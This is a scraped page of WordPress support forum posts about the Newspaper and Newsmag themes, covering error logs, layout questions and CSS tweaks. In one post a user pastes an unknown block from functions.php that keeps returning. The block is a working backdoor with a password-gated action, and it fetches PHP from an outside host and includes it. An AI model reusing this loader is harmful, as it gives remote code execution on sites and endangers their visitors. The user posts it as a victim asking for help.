- NewspaperWP Rocket and Newspaper Theme: Optimization Guide
- TutorialsDefault Block Settings Guide
- TutorialsOffset Feature
Hi
I changed db prefix with plugin WP Security and now i get some errors in my error log. Before that i alsoupdated from 3.3 to Newsmag 4
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘…/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Warning: require_once(td_translate.php): failed to open stream: No such file or directory in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Warning: require_once(td_translate.php): failed to open stream: No such file or directory in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 20:57:48 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_usermeta’ doesn’t exist za poizvedbo SELECT umeta_id FROM wp_usermeta WHERE meta_key = ‘wp_yoast_notifications’ AND user_id = 5, ki jo je povzročil/a shutdown_action_hook, do_action(‘shutdown’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, Yoast_Notification_Center->update_storage, Yoast_Notification_Center->remove_storage, delete_user_option, delete_user_meta, delete_metadata
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_posts’ doesn’t exist za poizvedbo SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.ID = 40 AND wp_posts.post_type = ‘page’ ORDER BY wp_posts.post_date DESC , ki jo je povzročil/a require(‘wp-blog-header.php’), wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_posts’ doesn’t exist za poizvedbo SELECT * FROM wp_posts WHERE ID = 40 LIMIT 1, ki jo je povzročil/a require(‘wp-blog-header.php’), require_once(‘wp-includes/template-loader.php’), do_action(‘template_redirect’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, redirect_canonical, get_post, WP_Post::get_instance
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_404_to_301’ doesn’t exist za poizvedbo SELECT redirect FROM wp_404_to_301 WHERE url = ‘/?mailpoet_router&endpoint=cron_daemon&action=run&data=eyJ0b2tlbiI6IjlhNTQ3In0/’ AND redirect IS NOT NULL LIMIT 0,1, ki jo je povzročil/a require(‘wp-blog-header.php’), require_once(‘wp-includes/template-loader.php’), do_action(‘template_redirect’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, _404_To_301_Public->i4t3_redirect_404, _404_To_301_Public->get_custom_redirect
Thank you
Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.
This is unkown section in funtions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=".$path))
{
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
function.php more code section..
<?php
/*
Our portfolio: http://themeforest.net/user/tagDiv/portfolio
Thanks for using our theme!
tagDiv - 2017
*/
/**
* Load the speed booster framework + theme specific files
*/
// load the deploy mode
require_once('td_deploy_mode.php');
// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10
// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');
require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets
/*
* mobile theme css generator
* in wp-admin the main theme is loaded and the mobile theme functions are not included
* required in td_panel_data_source
* @todo - look for a more elegant solution(ex. generate the css on request)
*/
require_once('mobile/includes/td_css_generator_mob.php');
/* ----------------------------------------------------------------------------
* Woo Commerce
*/
// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
return array(
'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
'wrap_after' => '</div>',
'before' => '',
'after' => '',
'home' => _x('Home', 'breadcrumb', 'woocommerce'),
);
}
// use own pagination
if (!function_exists('woocommerce_pagination')) {
// pagination
function woocommerce_pagination() {
echo td_page_generator::get_pagination();
}
}
// Override theme default specification for product 3 per row
// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));
if (!function_exists('woocommerce_output_related_products')) {
// Number of related products
function woocommerce_output_related_products() {
woocommerce_related_products(array(
'posts_per_page' => 4,
'columns' => 4,
'orderby' => 'rand',
)); // Display 4 products in rows of 1
}
}
/* ----------------------------------------------------------------------------
* bbPress
*/
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
$author_avatar = '';
if ($size == 14) {
$size = 40;
}
$topic_id = bbp_get_topic_id( $topic_id );
if ( !empty( $topic_id ) ) {
if ( !bbp_is_topic_anonymous( $topic_id ) ) {
$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
} else {
$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
}
}
return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);
//add_action('shutdown', 'test_td');
function test_td () {
if (!is_admin()){
td_api_base::_debug_get_used_on_page_components();
}
}
/**
* tdStyleCustomizer.js is required
*/
if (TD_DEBUG_LIVE_THEME_STYLE) {
add_action('wp_footer', 'td_theme_style_footer');
// new live theme demos
function td_theme_style_footer() {
?>
<div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
<div class="td-skin-body">
<div class="td-skin-wrap">
<div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
<div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
<div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
<div class="td-skin-container td-skin-content">
<div class="td-demos-list">
<?php
$td_demo_names = array();
foreach (td_global::$demo_list as $demo_id => $stack_params) {
$td_demo_names[$stack_params['text']] = $demo_id;
?>
<div class="td-set-theme-style"><a>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="<?php echo td_global::$get_template_directory_uri ?>/demos_popup/large/<?php echo $demo_id; ?>.jpg"><span></span></a></div>
<?php } ?>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="clearfix"></div>
</div>
</div>
<div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
</div>
</div>
<div class="clearfix"></div>
<div class="td-set-hide-show"><a href="#"></a></div>
<div class="td-screen-demo" data-width-preview="380"></div>
</div>
<?php
}
}
//td_demo_state::update_state("art_creek", 'full');
//print_r(td_global::$all_theme_panels_list);
how can you solve this problem? I Know little english.
The smart list template that has the slides. I believe it is the first one in the order. I’ll link a page on my site that has it. I need them at the bottom because on mobile devices, the written content doesn’t always fit on screen. After they have read the content, they have to scroll back up to go to the next slide. Here is the page for the example.
http://goingfor2.com/and-the-odds-are-nfl-week-6-picks-101517/
With the last update (WooCommerce 3.2.0) there is a new big panel box:
Your theme contains outdated copies of some WooCommerce template files. These files may need updating to ensure they are compatible with the current version of WooCommerce. You can see which files are affected from the system status page. If in doubt, check with the author of the theme.
Any ideas to solve?
Hello sperezlera,
Unfortunately, the theme does not have any such an option that allows you to display full posts on category pages, sorry! You can choose only the modules to be displayed on the category pages and for more information about this, please check the following manual here -> https://forum.tagdiv.com/category-templates/
Hope this helps!
Thanks for your understanding!
Hi! I’m using WordPress & Newspaper theme for the first time now. How do I remove the default sidebar from a page? Nothing happens when I choose the option without sidebar. I removed sidebar also from the Theme Panel Page Template Settings but nothing happens. I was able to remove it from an article.
Hello Bashir,
You should simply change the page template to another one from here -> https://www.screencast.com/t/1HnnhEO4op -> https://forum.tagdiv.com/newsmag-page-templates/
Thanks for the message!
Hi and thanks for your reply.
I deleted all cache files and still have same issue, so I was maybe not clear when explaining: to include the revolution slider at the bottom of every post I edited the post template .php file and added a php echo shortcode. The result is that the slider is shown just above the footer on all posts, but the sidebar will NOT stay above the slider when I scroll down to the bottom of the page. You will see the issue in the image I linked to (you see 2 posts from the block widget overlap the slider above the footer). You should also see the same issue if you go to any post/article on the website.
Any solution for this? I want to force the sidebar to not scroll further down than the actual post content.
Basically I wanted to show author image in single post template and I was using user photo plugin, It’s working on author page but not working on single post,
So, I need to know which loop file is using so that i can edit and check why it’s not showing
thanks
Hi,
1. I don’t think I fully understand what you mean by name pages. If you could provide more details or some examples it would be very helpful.
2. The mobile theme does not have many settings and options, for the purpose of being faster and. It is meant to provide a simpler version of the website, that would be optimal for mobile devices. It is also optional, not required.
The breadcrumbs on mobile are related to the desktop settings. If they are enabled on desktop, they will be present on mobile as well.
If you would like to remove on mobile only, you could use some CSS. A code like this entered in Theme panel->Mobile theme->Custom CSS should remove the breadcrumbs from all mobile pages
– https://www.screencast.com/t/WhWj0aDEV
– https://www.screencast.com/t/VJl1Yc6F
.entry-crumbs {
display: none;
}
3. The category template 3 seems to be loaded from what I can tell. If you mean the category tag color, make sure each category has a color set in the per category settings
– https://www.screencast.com/t/ewVJaotL
The category tags will appear at all times, not randomly. At the moment they are displaying on that category page
– https://www.screencast.com/t/4hL1yxWjI7I
4. That drop-down cannot be disabled, there is no option for that at the moment. It is a complex and automatic process that calculates the number of categories that are displayed, in the theme javascript file.
5. The theme will style the paragraph containing the category descriptions, by default. At the moment there are no specific options for this, there might be in future updates.
You could style them differently with CSS for example like this, or how you like them to be
– https://www.screencast.com/t/9NpLGqKUvEQF
.td-category-description p {
font-family: Merriweather,'Open Sans',arial,sans-serif;
font-style: normal;
color: black;
}
Thanks
Good morning, sorry, but I have a problem with your template. Using the litespeed cache and enabling the “Defer Javascript” entry, the first time you open a page, does not work in the search button, or the menu button on mobile. But then, continuing the navigation and opening a new post, after loading, everything works. How could I fix it? the site is https://www.ecomesifa.it. Thanks
Hi,
You can use the Yoast SEO plugin for that. Edit the homepage and change the title as you like in the Yoast SEO page settings
– https://www.screencast.com/t/xfjSx6kqW2GQ
– https://www.screencast.com/t/15mxOFYcD0
– https://kb.yoast.com/kb/yoast-wordpress-seo-titles-metas-template-variables/
I could not say when such a feature as you mention will be available. There are many plans for future updates. We will just have to wait and see.
Thanks
Hello! I own http://www.sociedelic.com and i want to fix some problems.
1. I want to disable from mobile theme name pages because i want the whole content of page to be on center.
2. why mobile plugin don’t have some options separately for enable/disable title pages and breadcrumbs? Because i want to disable only on mobile.
3. Some of categories don’t work properly. I have tried already the CATEGORY TEMPLATE settings, i want the style 3 on all categories and i selected this already, but this category don’t want to load style 3 even if i select it from single category settings.
This is the link from category: https://www.sociedelic.com/psychedelic-plants-drugs/
and i see sometimes don’t show up the others categories.
I (wrong)https://i.imgur.com/NWNyHkT.png
II (on other category don’t appear sometimes) https://i.imgur.com/umRUEUz.jpg
III (I want use this style everywhere but is not working) https://i.imgur.com/rzKzNx2.jpg
4. I want to disable this if will work style 3: https://i.imgur.com/RYezMkw.png
5. I can’t change the font from the first paragraph of categories description and H1 tags and H2,3,4,5,6. General font is Merryweather and in the category is another 2 (default fonts from theme i think) and in the font settings i can’t have the option to change (you should fix this in the next update)
thank you!
I want to delete some blocks at the end of my homepage however for some reason I do not get the option to delete blocks on the lower half of my homepage in the TD composer. I’m using the Gadgets Demo template. The blocks I cannot edit/delete are titled “HOTS NEWS” “APPLICATIONS” and “LATEST ARTICLES”.
Hello techmod,
To manage the category pages, please check here -> https://forum.tagdiv.com/newsmag-category-templates/ Yes, this could be the reason for your results. If you do not have enough posts, notice that you have nothing to show.
Thanks for the message!
Hello mrgergoke,
Sorry for this but please notice that is the only pagination model available for this section, sorry! The number pagination is only available for Latest Articles as page template.
Thanks for your understanding!
Hi,
The category pages can be customized only though the theme panel at the moment
– https://forum.tagdiv.com/how-category-settings-work/
You can choose a category template for each category or globally
– https://forum.tagdiv.com/category-templates/
Same with the top posts style grids
– https://forum.tagdiv.com/category-top-post-styles-2/
– https://forum.tagdiv.com/category-grid-styles/
Different pagination styles can be set for the category pages, and backgrounds as well, in the Per category settings
– https://www.screencast.com/t/BoanQnXiO
– https://www.screencast.com/t/uKRKR86KRPpL
The number of posts displayed on the category pages depends on the value entered here
– https://www.screencast.com/t/9P62z8HIaq5W
Thanks
Hi,
That should be present by default, when the page template with latest is selected. Maybe it is disabled in the screen options, please check there
– https://www.screencast.com/t/m10ekDmS
Thanks
Hi,
The category pages at the moment, can only be modified through the theme panel
– https://forum.tagdiv.com/how-category-settings-work/
There are no other options to modify them, unless modifications are made in the actual category template files in the theme
– https://www.screencast.com/t/q6SPh14cdcE
Thanks
Is it possibile to hide in categories style pages the category (white on black) that’s overlayed over each thumbnail? thanks
Hi, I’ve a (big) problem with featured articles images. Sometimes they disappear and the homepage loses its arrangement. Each time I have to upload again the featured article images.
I use the free version of Newspaper template and free Visual Composer.
Thanks
Hi,
Pages can have featured images set, those will be displayed in blocks and grids as thumbnails, not in the actual page like posts do
– https://forum.tagdiv.com/post-templates-2/
You could enter the same image in the page content and it will be displayed in the page. There is no page template at the moment that displays the featured image of a page, in the actual page.
Thanks
Hello! I just purchased a Theme Newspaper 8 and had to upload it with FTP because of the simple way it marked error. I was able to upload the Theme with FTP, but it was not installed completely, my WordPress page tells me that I need the index.php template file. And that the subthemes also need a template header in the style.css style sheet. I do not understand much about this. What do I do?
Hi,
I believe there are plugins that you ca use to split the page titles, like this one for example in this tutorial
– http://www.wpbeginner.com/plugins/how-to-split-post-or-page-title-in-wordpress/
The heading is set as a whole for the page title in this file, I believe it is according to SEO rules in the page template file
– https://www.screencast.com/t/OQ5ItojMV
Thanks
Hi,
Please notice that the Block 7 for 1 column should look like this -> https://www.screencast.com/t/qzt3UD284GAP Try to clear all of your caches and check the results. If the problem is still there, please try to make a screen to your backend layout of your homepage so I can see how you have used the block 7 in your template.
Thanks for the message!